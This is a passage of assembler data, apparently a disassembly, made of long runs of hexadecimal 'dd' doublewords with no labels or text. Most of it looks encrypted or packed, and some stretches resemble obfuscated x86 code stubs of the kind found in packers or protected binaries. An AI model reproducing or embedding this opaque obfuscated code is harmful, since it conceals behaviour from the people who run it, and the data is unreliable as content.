292BBA9Ch, 0AE4BC718h, 0F794FEC7h, 0ACDB07D5h, 0E4C6E95Ah dd 2B6AFB51h, 8AF1E03Ah, 5C64A90Ah, 2BB45h, 0DFB91900h dd 783F2D5h, 0D0109DB5h, 3237834Dh, 67067754h, 78168EA5h dd 85ADF215h, 0C8491834h, 0C1788100h, 0BFAAE7E5h, 8075E8C7h dd 7913162Eh, 29064514h, 122C5AB4h, 331C2307h, 6A71DDC2h dd 88B43C5Dh, 57862561h, 0D02B4A2h, 0F5DDFA1Bh, 0E8CAE864h dd 6C82F755h, 7D76826Eh, 2FBF3EEh, 0D5610000h, 0AFFF2181h dd 0C7193F9Fh, 0AEFD2383h, 8F1E04A2h, 79B6E5C5h, 2F8FC514h dd 3797BB09h, 2C8ABE11h, 3999B306h, 64BE2F30h, 2D16B723h dd 0BEA34AF4h, 0B57FDB0Ah, 0C548109Dh, 0EBD607A4h, 441684DAh dd 4798F263h, 3C610A84h, 0F9D637B4h, 0F2D084D1h, 82D381D0h dd 84D05D45h, 0FD8C54B5h, 0E948DE9Ah, 90C587DAh, 80081644h dd 8AEFEA81h, 0D2000002h, 0CEF4D284h, 0CEF4D27Ch, 0D0F2D07Ah dd 0CFF1D17Fh, 0C1F4D282h, 0A4B0FD6Eh, 0BE942406h, 0A3A53A20h dd 0C08C1D03h, 87F6D9E2h, 16B7240Bh, 0A3A1BDD4h, 7AEBC8BEh dd 1684DA8Fh, 7441578h, 0AABB9323h, 0BD194C6Bh, 860A8447h dd 0D04EBD07h, 270A8447h, 6E2E4EEBh, 0D65AA775h, 18Ch dd 0E06CBD6Ch, 0B2DC6D51h, 0B4E66095h, 6EAF109Dh, 9DB4A3FFh dd 5238D410h, 0B12F19D0h, 0A40263A2h, 0DC437D64h, 0CF853858h dd 5E8F2C4Dh, 168EF023h, 0A9D869ACh, 0A8AEC29h, 0DD6F5380h dd 33BDDC6Dh, 98B760D9h, 8AEBE965h, 8953B20Ah, 0ACD103D1h dd 31AB5Ah, 260C0000h, 0A52FB993h, 0EBC8BEA3h, 8E989B7Ah dd 18296C16h, 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 3887AB5Ah dd 0B7054918h, 2A4BCA9Bh, 0CE7BA2h, 0BDDF0000h, 6D51E06Ch dd 626AEE0h, 3A6AA8DAh, 36074598h, 0A3A7B6D7h, 2C2B3A12h dd 0CD9CB606h, 0FF52844Ch, 67506D4Dh, 0E1345F1h, 67E3126Ah dd 30109EA8h, 0BE2F8CEDh, 109EA864h, 0A1E0E82Dh, 109EA3FFh dd 0C01E2E7Fh, 0BE1D6980h, 0A2F26CA1h, 5ABB109Eh, 9C104592h dd 99168900h, 0E6735774h, 0DB6A506Eh, 0C9BA0479h, 44E3800Ch dd 13809h, 0C0962400h, 0E06EC0E2h, 0FE4CE0C2h, 0E769FAE0h dd 54E1C7h, 4FBC73A2h, 4E745202h, 547654FEh, 476949FFh dd 6B7856F6h, 2495F164h, 4B5E16B7h, 4FE0C217h, 4895B701h dd 7456FA49h, 0BBDA6BE1h, 83D2FDDAh, 8E168197h, 0F52D0F06h dd 7F1EC1C0h, 0F0416775h, 19587F5Ch, 0E915FB48h, 83DDFBC5h dd 51E06CBDh, 52005072h, 57F5488Ah, 54323777h, 0FB130677h dd 49CC168Eh, 5BF9486Ah, 648A087Bh, 73C60A8Ah, 6570EA1Bh dd 0D4390A8Ah, 0A63315B5h, 0A2C29FAEh, 20000000h, 0DB0ABEA3h dd 109DB57Fh, 7A4C548h, 84DAE7D6h, 0A4B5D816h, 9D3D0FA2h dd 0CD5F2ABBh, 64E7EC7Dh, 1BA3A834h, 1A2B4A2Bh, 8CC8153Dh dd 0F5945CBDh, 209EBD04h, 25BACB60h, 0CFF34223h, 3F80D181h dd 7CCFB653h, 7CCD85F6h, 7DD0F2D0h, 0B5C7ECFh, 80D2F445h dd 2D607FCEh, 0D45A25B1h, 27B71B7Ah, 4CFFBC61h, 4C2DF39Dh dd 54E5A7FDh, 0E1B9379Bh, 442583B1h, 44644B70h, 1930BCD9h dd 3FBC569Eh, 6B20B298h, 451475DDh, 87DAFCC4h, 72C3E5C5h dd 88D5FDDAh, 0D41C7DCCh, 33815h, 7B960000h, 0E571BDE1h dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 0F3682215h, 89000062h dd 0B9512424h, 4, 4244C01h, 0E0895059h, 405h, 4E88300h dd 5C240487h, 68240C89h, 5194h, 52241C89h, 3748D968h, 554A5A1Ah dd 0E224DFBDh, 5DEA01EBh, 545AD189h, 83241C8Bh, 0EC8104C4h dd 4, 8F240C89h, 34FF0843h, 0C4815B24h, 4, 52240C8Bh, 0C281E289h dd 4, 4C281h, 14870000h, 25E95C24h, 18FFFA0Fh, 0B8BF9649h dd 61971C4h, 0E0FFC503h, 8F26C9h, 5DA36D99h, 1EEE3054h dd 3DCE78CDh, 4B355DDDh, 0E2AD262h, 20756877h, 5645D8E6h dd 4CFD250Eh, 1E03C86Bh, 70494BD1h, 7618303Ch, 14751F72h dd 5D0C155Ah, 7C9DED9h, 79CD7C58h, 3A6A1657h, 481F558Bh dd 64B09E64h, 11E8h, 4FEF7F00h, 6784F0BDh, 889AF3EEh, 0CC9CDEB0h dd 0F0807DD7h, 0B8665F1Dh, 0C7819667h, 5A4Ch, 80D38B60h dd 0BB617EF5h, 165Ch, 0F8BF28Bh, 81F18B66h, 1A1046C1h dd 38D0F7Ch, 50000000h, 0E9815EF9h, 4B2DCF84h, 5890Fh dd 81660000h, 81CDE3DAh, 9A8EDC1h, 0BE90Ch, 86F40000h dd 8707AD9Ah, 0E51FE54Fh, 8B66512Fh, 60078FC7h, 0FE9h dd 47FF1D00h, 567EF4AEh, 0A55A762Fh, 0D05BC954h, 3EF8361h dd 0DE8h, 8A513300h, 0C936E454h, 8564C305h, 0B8668BA1h dd 4F5A34ADh, 6E9h, 0AF1F4F00h, 4BE60716h, 10850Fh, 0C78B0000h dd 28E9h, 98E1600h, 0E383F99Bh, 0BE94417h, 0DD000000h dd 246D881Dh, 9B3656A7h, 57E9530Ch, 0DFFFFFFFh, 28DB2A7Bh dd 4E1176C4h, 2C8D8D3Bh, 6A061974h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0DEFFC356h dd 6D770F51h, 0F08B66C9h, 1BBD8D89h, 6A0613h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 9C2484C3h dd 24BF66F2h, 0DD85C7A4h, 0FC061318h, 8B000068h, 1331559Dh dd 5585C706h, 61330h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 8F50C350h, 3243EAADh dd 0FFF43020h, 13302DB5h, 6D858906h, 0FF061315h, 131D8995h dd 719D8B06h, 6A061311h, 0A995FF00h, 8B06130Dh, 0A27FEBC0h dd 1E6D4AA1h, 9EFDE2CAh, 0CACEB128h, 0D6E64FB2h, 8DC10376h dd 0C20AFC6Fh, 352129C9h, 2D4A619Dh, 7C1CAF05h, 4E6F6FF6h dd 64C14829h, 6047B113h, 405A6366h, 0A327CEC4h, 574D4182h dd 90F607A6h, 50D5E21h, 0E125F34Fh, 966C438Ch, 0BD939A44h dd 15D35AECh, 3488BCBh, 43484B73h, 24122B48h, 528ABF52h dd 2ED32595h, 0E35307B9h, 924F3E27h, 6629F4CFh, 2229982Ah dd 9C7E224h, 8D8D0CB2h, 6197557h, 11D59D8Bh, 8D890613h dd 6131BBDh, 0C7F3B70Fh, 1318DD85h, 58D806h, 2D853100h dd 0C7061331h, 13305585h, 6, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 13E7D8F0h dd 76F2432Ah, 1011CE81h, 0EDB657C4h, 13D1B5FFh, 0B58B0613h dd 6130AA9h, 8995FFFCh, 6A06131Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 4818C352h dd 0BCA309E6h, 6052F717h, 1EC58D89h, 89530613h, 1325CDBDh dd 6A5806h, 0DA995FFh, 0C08B0613h, 0FAA73AEBh, 7B32943Fh dd 0D5F15FFh, 0F5B1717Ch, 64AD3967h, 571484FFh, 0FD0D3A7h dd 6605AAFCh, 1D80F83Eh, 45E2C20Dh, 0A33CB076h, 4A4B0581h dd 8A6E6AFFh, 4787CF3Bh dd 0DA006866h, 29E9h, 85C27F00h, 4Fh, 8 dup(0) dd 0FBE90000h, 86000004h, 9AC01E38h, 82A80648h, 9CBE1C2Eh dd 83A5054Bh, 8DC01E36h, 58FC49A2h, 4A08587Ah, 57F1466Ch dd 4C005177h, 0B7A656Eh, 16B7298Fh, 0BD1D4158h, 6D51E06Ch dd 735774E0h, 0B9D869E1h, 1E04212Fh, 5675C48Eh, 9DB4AB27h dd 70117410h, 0B6D36668h, 0FB1A2B25h, 0A3123D9Ah, 0ABBE6107h dd 69AB2756h, 1174109Eh, 0D5F96870h, 99B50584h, 0D56569F8h dd 0FB77E879h, 6EED97Eh, 93A3FA91h, 1AABAD37h, 19AE9432h dd 0D3C53569h, 751459B2h, 0A5E07355h, 0EC2D3C18h, 0C09FBC8Dh dd 9DBBD14Dh, 717B9A10h, 0B081D15Fh, 489BBF9Ch, 8D03100h dd 785A0D7Eh, 0B8D968E6h, 1891E30h, 9DBC128Ch, 0DBBADB10h dd 0C884D5FBh, 0DA7AC7EBh, 23C20A8Bh, 0E28AFB24h, 17B2F176h dd 7D223DB8h, 99232DB7h, 9E13EB6Ah, 55E66410h, 41B56927h dd 64D1A3h, 0BD650000h, 2051E06Ch, 109DB4A4h, 0DC007919h dd 0A341EA1Ch, 6C4h, 0A3331700h, 0BDB721ABh, 6E50E16Dh dd 3020AFDCh, 0B081E021h, 0FD503D8Eh, 0B5025C91h, 4ACB109Dh dd 9AFB1A2Bh, 61DA18CBh, 0EA6499B6h, 0B3109DB4h, 0E9BD6D52h dd 97B83743h, 93BB0B4Dh, 0F5FF0B34h, 0BEC45D09h, 3B85E46Eh dd 0A2AA3B1Dh, 70BDA604h, 0E17155E4h, 9C36DC6Dh, 6EE6731Fh dd 0FB4B6F50h, 0F6478953h, 71C30756h, 0F34688D9h, 0D1C30859h dd 29E4BB8h, 103A8E30h, 3ACF3941h, 7308824Bh, 41229B49h dd 6243A3h, 0BD170000h, 7155E470h, 89DA6BDFh, 73C27009h dd 52DFC1E1h, 0C00F3302h, 6E98C190h, 0E8F1AFDDh, 0AF93A341h dd 6FD96E21h, 16DE3F0Eh, 4F8Fh, 70BDB300h, 547655E4h, 99F849FFh dd 0DBAAFD4Fh, 5D8BFC8Ah, 1F31C375h, 0CFAEEF7Eh, 0D577CAF0h dd 577B5C0Bh, 0BA0D35E2h, 0B69C2C8Eh, 7C5E66A7h, 0E94767EDh dd 50E16DBDh, 9DB4A021h, 791910h, 41EA1CDCh, 6C4A3h, 33170000h dd 0BA24ACA4h, 4346DDC2h, 142EBACEh, 14368ACCh, 0A85090B7h dd 26F3B0C0h, 0BA0B4F9Eh, 638DC392h, 0C71941E6h, 0AEC266BDh dd 80E18FE5h, 468850B1h, 84495F2h, 144D4969h, 31205572h dd 0E2168F72h, 1DB092A3h, 18A98F2Fh, 78D42534h, 0B10A8B70h dd 67FAA821h, 52E3C5E5h, 0AAF57234h, 751489C2h, 0A7E07456h dd 0E4253414h, 8B55B485h, 1F67FADCh, 3E8F7C78h, 0F9DE3F0Eh dd 0CEF043EAh, 0A0B1D07Ah, 27DB70DAh, 0EE66F396h, 0C5932F8Fh dd 6D5AAC73h, 130h, 0C8BEA3D1h, 0BC377AEBh, 4DD0168Eh dd 8D00DFFCh, 0A8AA611h, 90ACF5DAh, 3E55A064h, 0F243955Fh dd 3567C5Ah, 83D6F849h, 0F89278C9h, 0CE7ECF83h, 5EEBCFF0h dd 0A676EEF6h, 0E5AAD61h, 6Dh, 9BDDC234h, 1068134h, 0BFA814DCh dd 0F571E4C3h, 0FE6F629Bh, 0E33FCE9Fh, 0E5909E04h, 2CA6D7F8h dd 0F5909E05h, 4DBE4890h, 2B29B89Ah, 0C5F1FB1Ah, 0B995259Ah dd 0B786C215h, 65983756h, 0EF629BC9h, 0F15FF0D2h, 2A153290h dd 0D80D3417h, 109E9E7Eh, 0C0E1C647h, 93CE166Ch, 94h, 4CB183ACh dd 8AB87E6Bh, 92396DA5h, 0C20AD7C8h, 0C8BEA318h, 0A18F7AEBh dd 1578168Eh, 93F94B6h, 0FC2320BFh, 5045B1BBh, 14468EA1h dd 52B8BC1h, 0CC88D5B4h, 0EA6D9CADh, 2B0A8AB0h, 0D27CCEF4h dd 30A50283h, 0A8AAFD6h, 1C767E9Fh, 0EA62F39Fh, 0F195CCCCh dd 43CAF5D2h, 959D168h, 0AB0123A7h, 1CB1BE04h, 0A06E35D4h dd 8A0B1071h, 26B69CBBh, 0F4FC1D2Ch, 6CFD4FE2h, 0B385F678h dd 59212AEh, 1B9FBF6Eh, 0E7755D7Ah, 174616Bh, 0A57EE1Ah dd 0DA7856B7h, 280ABEA3h, 68A9B896h, 9DB49DF9h, 0D3646610h dd 5E7D1C7Dh, 84C1482Fh, 3A0E516h, 3F55B124h, 0FF1E0A84h dd 15476F5h, 0F4456B4Bh, 66074395h, 9866A6D7h, 3BB752E7h dd 8BC114BEh, 2381032Ch, 0F3420C9Eh, 0AB7F2D92h, 6D53814Bh dd 0E5BFAADCh, 1326C74Dh, 50DFE372h, 6223B63Ah, 7C1D77B9h dd 475F7EDh, 6EDE6F53h, 2436BEDFh, 3A1BBB91h, 7E268615h dd 0E3EDB9F1h, 0CFEC60F1h, 67F65EEBh, 124F9E26h, 3, 0BDE17BB0h dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E18951h dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 9368240Ch, 8900002Eh dd 8951240Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h, 2434895Ch dd 1975C968h, 240C8B06h, 4C481h, 8B540000h, 0C4832434h dd 79646804h, 0C890000h, 8468F24h, 5E2434FFh, 4C481h, 0C8B0000h dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 6A6E95Ch dd 0D943FFFAh, 111A3B97h, 46B8E06Ah, 306197Ah, 25E0FFC5h dd 66685EEh, 7B09F88Eh, 637508F0h, 5935DCA9h, 853583DBh dd 41EA921h, 28157CACh, 0A75AB7EDh, 1A345316h, 657932D4h dd 0B016422h, 0D4B5243h, 7056BF77h, 82435F30h, 4075320Bh dd 0DC7A683Fh, 91451625h, 0E61B41DCh, 7004D2AAh, 25216E5Bh dd 803629ACh, 0C02E2F08h, 0BC43C779h, 267BCC5h, 0C64DA7EFh dd 10105039h, 0AE35C4DBh, 0EF443FC7h, 5372156Ch, 5DB160A0h dd 0AEB0BB59h, 57493256h, 0ABB36556h, 0D4383D36h, 16B13256h dd 229CC237h, 51316C54h, 5DB15391h, 0AEB135BFh, 2C275F56h dd 2AB4A505h, 0DA483256h, 0EAB138DDh, 0F3BE5256h, 0BAB13256h dd 5DD020E0h, 23BEC756h, 57B1325Eh, 0ABB3B259h, 0B4D13256h dd 2D13256h, 75B1325Fh, 5259572Fh, 921CA043h, 0FDEFCEEFh dd 5163C6ECh, 0ABD06C03h, 0D5BEDB56h, 0ED83256h, 3A532EA3h dd 0CE40D540h, 0B5C8D3BEh, 0F3E165DAh, 57B13256h, 297766EAh dd 0D55ED310h, 0DF3BCA56h, 75B13209h, 40F92E56h, 0FE33172Ch dd 3B538039h, 0C7CA023h, 53B13282h, 29B132A3h, 69BE3256h dd 75B1325Fh, 4D05236h, 25BD9BCCh, 47B13237h, 57B13245h dd 0CF59B36Ah, 3EDB18DEh, 8C000275h, 0F49FF974h, 0BA3F7DBCh dd 5DB1C756h, 0AEBDDB36h, 96B43256h, 0C2D1E9h, 8172873Bh dd 231AEE9h, 75B15334h, 0BAB0B959h, 5D493256h, 26BECE56h dd 57B13277h, 0ABA5DB36h, 78103256h, 0DAF47E8Ah, 8DB567F5h dd 0A56CEAC0h, 0A2D2933Bh, 5930871Bh, 793EE88Fh, 42B13237h dd 0D5B13245h, 47127A7Dh, 0EE6B45E0h, 4F79C606h, 0E5FC9A4Eh dd 0AEF22198h, 40303D56h, 42B13256h, 0D5B13244h, 0CBFFE551h dd 4775167Ah, 27F1FB1Dh, 0C4298848h, 0AEB165E3h, 52363D36h dd 0CDB13256h, 9172DBD7h, 0EAA1BD59h, 7E583256h, 9FB13256h dd 0BC9D3EB0h, 5D581343h, 57D01149h, 0A5383D56h, 3CB13256h dd 0EAB1325Fh, 589BAF22h, 1B93633h, 5C333D2Ch, 52B13256h dd 5E583256h, 5B13256h, 6D34771Dh, 6DFAB280h, 75443256h dd 0BB393D56h, 0A4B13256h, 0A1D13256h, 0D3BEF5E1h, 0ABB13256h dd 0D2303D37h, 0E5B13256h, 75B133D5h, 0BAB1CB56h, 5DBBB759h dd 0AB583256h, 2AB13256h, 0C6214094h, 0C7583256h, 0D3B13256h dd 67AFB7EDh, 668D492Fh, 0CDB4F61Bh, 28271CD0h, 0BEB13212h dd 0ABB13253h, 894FEEE1h, 60BE5213h, 75B13250h, 39B6FDD7h dd 4D591C60h, 10B13256h, 0D1C9F44Ch, 9781F10h, 261D8F85h dd 8CCB88A6h, 2D6DE3D7h, 0BAB15308h, 5DB123BFh, 28E61F56h dd 1F31EF1Dh, 0E7D67028h, 8616E530h, 0E5583E55h, 28B13256h dd 68CCB24Eh, 2C45A53Ah, 0F3E4404Fh, 57B1273Fh, 0ABB130AAh dd 0D5A8B456h, 0FE583256h, 0E2B13256h, 0D90A1DC7h dd 0C28D1E4Fh, 489EB495h, 0EC5ED960h, 0ABEFB275h, 0D269CA56h dd 0EAB03252h, 75B4324Ah, 0BA833270h, 0ED0321Eh, 520EC603h dd 2BFAE52Ch, 0A4DC8541h, 0D5B139DFh, 0EAB7DB56h, 6E7B3256h dd 0E29DD24h, 0DDBE3256h, 0AEB1325Eh, 57B3B759h, 0CAD13256h dd 3CD13256h, 0EAB1325Ch, 26970B08h, 0C93A96C6h, 4E1AE85h dd 0A1B13237h, 57B12BD0h, 0ABA5DB56h, 70DF3256h, 57CCDF76h dd 49BCAD70h, 11C8B8h, 0A551825Ch, 19D16D94h, 843B8CFBh dd 0ABD060C4h, 0D5B1CA56h, 16B132AAh, 77E43256h, 0BAB13257h dd 0B4B132A3h, 0AEB13258h, 61A577AEh, 8D5BBC6Fh, 0C44F9958h dd 0EAB1EFD0h, 75BE3003h, 0B0583256h, 0E1B13256h, 4DC6C57h dd 0AB0184FAh, 0CBB132A3h, 0D5B134BFh, 87A6B056h, 8D12373Fh dd 0E8E1A237h, 0FE16006h, 0F6EB0359h, 36D10359h, 9ABE6A0Ch dd 0DAE36236h, 76E96867h, 75B13BBFh, 0E9F3BF56h, 0F23FBBC6h dd 403077EAh, 6C0834FEh, 0ABB134BFh, 81165456h, 77F2C0ABh dd 25E96837h, 0E8E16006h, 6CBE6006h, 9FBE6A0Ch, 66BE6006h dd 0F3EB6A0Ch, 0DD580359h, 1AB13256h, 693EDC3Fh, 0E01AC873h dd 3441A20Eh, 8BADBDB8h, 893099ACh, 0F919E190h, 0D5B13EBFh dd 0B86C8656h, 0EB681275h, 10247E29h, 7D0AFCDh, 83F5A70Eh dd 0D6D7C134h, 42B79CA7h, 0D5B13242h, 810BD78Ah, 3237539Eh dd 59A3AF22h, 62EFABB6h, 0F5DB675Ah, 36EE63CBh, 54216A0Ch dd 0E4BE279Ah, 0EAB134BFh, 1146C456h, 0E022B09Bh, 0CDE9680Eh dd 8AF5BB0Eh, 7E36252h, 0A4D05204h, 0D5A0DB67h, 0B0B43256h dd 53305ADDh, 80C2631h, 0A308B255h, 0F4C49E09h, 7803D0Eh dd 0A4D05204h, 0D5B9DB67h, 0C3013256h, 906D7DF8h, 0E2EB59ECh dd 0F9E96A0Ch, 3362F05Bh, 0DB26A37h, 6AC76A0Eh, 0C7FB16DCh dd 334E99Bh, 75B1325Bh, 0F886EFD6h, 0ABC92470h, 8B575E25h dd 57D06930h, 0ABB1CE56h, 0D5BDB959h, 65BE3256h, 75B13250h dd 0BAB1B859h, 5DB13256h, 47B132AEh, 57B13242h, 3E3BDB9h dd 889BDF71h, 23ADF88Eh, 0E00A1B25h, 65F3F442h, 52B132A3h dd 0AEB133DBh, 57B1CA56h, 0CBB132AEh, 0D5BCB259h, 0E2583256h dd 9FB13256h, 0EC1EED5Fh, 3CECDEB8h, 0AEA2BD59h, 59583256h dd 0D8B13256h, 659EF2DFh, 0FCD125C9h, 0B2116F94h, 0B5B13281h dd 5DB138DAh, 5B315256h, 0A4305403h, 0ABD0D41Fh, 2B3A5256h dd 8AD0E2DDh, 75D0F5DCh, 0BAB1CE56h, 5DBBB459h, 0AB583256h dd 67B13256h, 6D1C0142h, 5DBE3256h, 0EAB13257h, 89B132AFh dd 0BF583256h, 0FB13256h, 0A3851F85h, 58583256h, 9BB13256h dd 0F2B06548h, 971CFA6Ah, 4042EDABh, 0BA44B3F1h, 2E35256h dd 0B2A6DDD7h, 57D0748Ah, 20D75256h, 297CB29Eh, 16B13237h dd 7C583256h, 0DB13256h, 0BD33E206h, 9E99B5CCh, 574D3256h dd 0ABB1CA56h, 0D5B13BBFh, 33A7CB56h, 3E5FFDFAh, 0BAB10F53h dd 5D353D36h, 2EB13256h, 57D09483h, 5B3A5256h, 0DAD0F3DCh dd 0EAB133D3h, 75B1CA56h, 0BAB126BFh, 0B1425A56h, 85185266h dd 0F375D4BBh, 163BB259h, 30A99A4Bh, 0E5B13264h, 75B127D3h dd 0BAA1DB56h, 0F6BA3256h, 37686F53h, 0B8EED512h, 0DC1E94F9h dd 0D5B167DBh, 13B132A3h, 0FEBE3256h, 0BAB13257h, 52B132AFh dd 0AEB133D3h, 57B1CE56h, 0B8585236h, 9AB13256h, 9B49BF4h dd 0CE34F467h, 0DC48F617h, 240B0B2Ch, 23BEB8C5h, 57B13256h dd 55063D37h, 0DAB13237h, 0EAB13EDAh, 73303D56h, 0B5B13256h dd 5DB132DDh, 47B13256h, 57B13244h, 4F5BA681h, 0DE4DCC2Ah dd 0D0F371ECh, 8964AA90h, 0BAB193FEh, 0DC72B936h, 28CCAB81h dd 57B1536Ah, 0CA6FB836h, 0C6583256h, 5B13256h, 3A37D1B2h dd 18582C3Ch, 6FF6D165h, 29F50B0Ah, 57B19074h, 0CBB132AAh dd 0CCC68930h, 8B66B930h, 75BDB659h, 0BD583256h, 0DAB13256h dd 3E00E0D6h, 57B1E8C4h, 0C847B236h, 0DAEB6336h, 0EAB132DEh dd 75D05356h, 0BABEDB56h, 0D9E53256h, 7836CA9Dh, 185AE473h dd 0C1967DAFh, 0D5BDDBF0h, 71743256h, 71B813E3h, 5E3654EAh dd 5DB1A36Dh, 1E63B236h, 36618559h, 53B132AEh, 0D5443256h dd 0EAB8DB56h, 31F23256h, 0BCAC89A7h, 5D8F2F75h, 0AEB1CA56h dd 57B8B059h, 11D13256h, 0A73A2947h, 0EAD05336h, 75A3DB56h dd 62193256h, 81599BF9h, 556EC7EFh, 73BE3A8Eh, 312E72Fh dd 0D5443256h, 0ED353D56h, 7AB13256h, 0BAB133D9h, 5DB1CE56h dd 5BB132AFh, 57443256h, 0ABB1CA56h, 0D5B8DB36h, 56FC3256h dd 0F392B3CFh, 0DB68B1D9h, 5DBFDB36h, 0ECCB3256h, 8975625Dh dd 84A4BD9Eh, 52B78BA9h, 0E9788930h, 89B13237h, 4FD13256h dd 9043FECh, 0AEB15332h, 89063D36h, 12D75237h, 0D5D0B891h dd 6A495256h, 75D09AB8h, 0BAB1C756h, 5DB9BD59h, 29BE3256h dd 57B13254h, 0ABB15336h, 0D5B13BBFh, 2C2C0A56h, 4F3B252Fh dd 0BAB16E28h, 0A4B132AEh, 22BE3256h, 57B13257h, 53B132AFh dd 0DA583256h, 30B13256h, 2E1E68F6h, 0E53DAF18h, 5379B5ACh dd 0AE497303h, 57A0DB56h, 248D3256h, 45ED498Fh, 6AD49381h dd 0D381B056h, 0BA937FCCh, 5DB1CE56h, 57B132AFh, 44583256h dd 18B13256h, 3F9B3A5Bh, 9D57EC6Ch, 6830795Ch, 3118B252h dd 5DB12A10h, 0AEB13EBFh, 972D0056h, 8EE79EEh, 809519ECh dd 8AB132C9h, 0F7FD62E9h, 4A063D5Eh, 52B13237h, 0AEB13FD9h dd 0A4305256h, 8A2988B7h, 5EE3BCEDh, 0EAB15341h, 75A6B459h dd 0A8583256h, 6FB13256h, 1350B6ECh, 46B8DF4h, 0CCEC0192h dd 6D0D0407h, 54D15251h, 718585D2h, 0BB303D37h, 0A5B13256h dd 0A1B13237h, 57B120DEh, 0ABBCDB56h, 50AC3256h, 0A9A12356h dd 0C7DDED86h, 0BAAA3567h, 5DB1CA56h, 0AEB139BFh, 26467E56h dd 0D2BE216Ch, 33606708h, 53D13256h, 55FF8A95h, 0BAB13DBFh dd 711F7D56h, 67139D3Dh, 4660949Fh, 0A1042801h, 0B5B13237h dd 6AEACB07h, 15D0279Ah, 53EECB00h, 5DB13259h, 0CC9CDBE5h dd 869EB571h, 0B91F6FAEh, 0B4F27CBFh, 0F8583256h, 0D2B13256h dd 89E362FFh, 4520A445h, 8F07FDD2h, 0BE23EB92h, 53B13298h dd 55D13256h, 0ED0EE984h, 14D07FD9h, 43493256h, 4E583256h dd 54B13256h, 0C187A9A6h, 0C8AE01C8h, 0A3371A8Bh, 0F801DE25h dd 75B10C9Dh, 0BAB13DBFh, 95853056h, 0B45482E3h, 0C48C904Dh dd 7825DC58h, 0D5483256h, 0E1353D56h, 15B13256h, 3BA8FDD6h dd 1696E7BEh, 0AEB15338h, 57BDBA59h, 2ABE3256h, 0D5B13250h dd 0EAB1B959h, 75B13256h, 0BAA1DA36h, 4C1D3256h, 5669F972h dd 4A6CC45Ch, 0C955FDEh, 8AE70400h, 8BD1620Dh, 13D1530Fh dd 0B150FCD7h, 5DB153AFh, 877DB236h, 0DDAD8930h, 42B13237h dd 0D5B13246h, 0D144CF15h, 531C7F6h, 2915AAE9h, 1FFAAF51h dd 0A6583256h, 0EEB13256h, 3C55D1F4h, 0D53A05CAh, 0FE585256h dd 2BB13256h, 0BDBFB8A5h, 9DA2B778h, 6FDC0D9Fh, 54727801h dd 5342B66Ah, 0B5B13237h, 0E5E7C7E3h, 75B132D1h, 0BAD06C56h dd 5DB1CA56h, 0CEB132AEh, 57B13EBEh, 2E34456h, 552AD8C3h dd 0EE8E58F0h, 75373D4Ch, 0E3B13256h, 27DE8B30h, 0A1B13237h dd 57B13ED8h, 0AD373D56h, 0DAB13256h, 0EAB132D4h, 9CB13256h dd 0BAB13244h, 92DC4768h, 41FDAC2Fh, 0A78E0484h, 0A386040h dd 0D5B11731h, 12063D36h, 0E4F68930h, 0BAB1CA37h, 5DB0B859h dd 0AE4D3256h, 453C3D56h, 0CBB13256h, 0D5B135BEh, 11C42656h dd 7206D3A8h, 6C0E3D09h dd 0A5B13237h, 2FD13256h, 724A629Fh, 9A0F542Ch, 0D5B1533Ah dd 0EAB9B759h, 0F8BE3256h, 0BAB13254h, 5DB15336h, 0AEB13ABFh dd 2D2EAF56h, 9095F35Eh, 2CB13287h, 6FBE3256h, 75B13272h dd 0BAB8DB36h, 0C0DE3256h, 83F2E935h, 0BF464D32h, 0ABB13258h dd 6EB40376h, 0DE63A797h, 19A2E34Eh, 0DBEEF0D0h, 5DB13EBFh dd 18427856h, 928DE03Bh, 6B14FC44h, 3CB1327Dh, 0EAB1325Ah dd 0C727C0F5h, 83E8EDF5h, 0D420DB49h, 0A7583256h, 0E2B13256h dd 39665982h, 0D8052E31h, 8CD13256h, 2EF0D4D7h, 0DAB13237h dd 9BF487EDh, 52D0CB48h, 47583256h, 76B13256h, 7D185DB6h dd 0EBB908B2h, 68E02EA4h, 0BAD25302h, 91315256h, 28BE6093h dd 57B13256h, 0ABB1530Eh, 0D5B7DB36h, 0C8F03256h, 6A2E1A5Ah dd 46B13237h, 5D483256h, 0AEA2DB56h, 0D4A23256h, 0C5FEF86Bh dd 60250A43h, 0FBD843B2h, 0E760DB09h, 0DAB13207h, 6962B330h dd 0A75863F6h, 0B13256h, 0A461E1F1h, 0B3B498AAh, 3D1530Ch dd 75B13247h, 0F0EB123h, 5125D3CBh, 0D552752Ch, 7844BB38h dd 59306389h, 0C5D15F85h, 0EAB1530Dh, 15B132AFh, 0BAB2B759h dd 0AC313256h, 0AEB1537Fh, 0DCD75236h, 43D0CB80h, 0D5B13250h dd 0C2D6A9Eh, 2F4D0883h, 53B13237h, 5DB1325Eh, 0A4AF1F3Bh dd 0EEBB6F6Ah, 0AC583256h, 0F0B13256h, 2A907ACh, 75B13A73h dd 0BABDB959h, 52D13256h, 0AEB132D1h, 12085456h, 0ABB153C0h dd 3305436h, 8B4D0EE6h, 0F5BE3256h, 0BAB1325Eh, 3B48B936h dd 0CF6B75EEh, 0D6D13256h, 56A0C8A0h, 2063D23h, 3B13237h dd 75B13251h, 0CB6D12B8h, 5DADC547h, 0AEA3DB56h, 47BF3256h dd 8B6E8670h, 52ACB0F1h, 404C2433h, 0EF79518Ah, 0BA493256h dd 5D44CE56h, 0AF393D56h, 0AFB13256h, 0AB493256h, 0D5B1CA56h dd 0EAB126BFh, 0C560A556h, 0AC2326D7h, 40FB839Ah, 97BB709h dd 87FFD6BAh, 0AD3A3DE6h, 0B5B13256h, 12498D59h, 8DB13237h dd 0BAB6B659h, 0DBBE3256h, 0AEB13257h, 0BEB132AAh, 0ABB1325Eh dd 6CEA5264h, 